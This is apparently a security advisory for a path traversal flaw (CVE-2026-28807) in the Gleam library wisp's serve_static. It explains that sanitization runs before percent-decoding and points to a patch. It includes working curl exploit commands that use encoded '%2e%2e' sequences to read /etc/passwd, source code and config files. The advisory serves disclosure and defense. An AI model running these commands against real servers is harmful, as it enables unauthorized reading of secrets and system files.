Summary

wisp.serve_static is vulnerable to arbitrary file read via percent-encoded path traversal (%2e%2e). The directory traversal sanitization runs before percent-decoding, allowing encoded .. sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.

Details

In src/wisp.gleam, serve_static processes the request path in this order:

let path =
  path
  |> string.drop_start(string.length(prefix))
  |> string.replace(each: "..", with: "")   // Step 1: sanitize
  |> filepath.join(directory, _)

let path = case uri.percent_decode(path) {  // Step 2: decode
  Ok(p) -> p
  Error(_) -> path
}

Sanitization (step 1) strips literal .. but runs before percent-decoding (step 2). The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.

PoC

Any application using wisp.serve_static:

fn handle_request(req: wisp.Request) -> wisp.Response {
  use <- wisp.serve_static(req, under: "/static", from: priv_directory())
  wisp.not_found()
}

Exploit (requires --path-as-is to prevent client-side normalization):

# Read /etc/passwd
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# Read project source code
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam"

# Read project config
curl -s --path-as-is \
  "http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml"

Impact

This is a path traversal / arbitrary file read vulnerability (CWE-22). Any application using wisp.serve_static is affected. An unauthenticated attacker can read:

• Application source code
• Configuration and secrets in priv/
• .env files, secret_key_base, private keys
• System files (/etc/passwd, /etc/shadow if permissions allow)

Workaround

Copy the fixed implementation to your codebase and replace references to wisp.serve_static with this version in your codebase.

References

• Commit that introduced the vulnerability: gleam-wisp/wisp@129dcb1
• Patch Commit: gleam-wisp/wisp@161118c

References

• GHSA-h7cj-j2vv-qw8r
• gleam-wisp/wisp@129dcb1
• gleam-wisp/wisp@161118c
• https://nvd.nist.gov/vuln/detail/CVE-2026-28807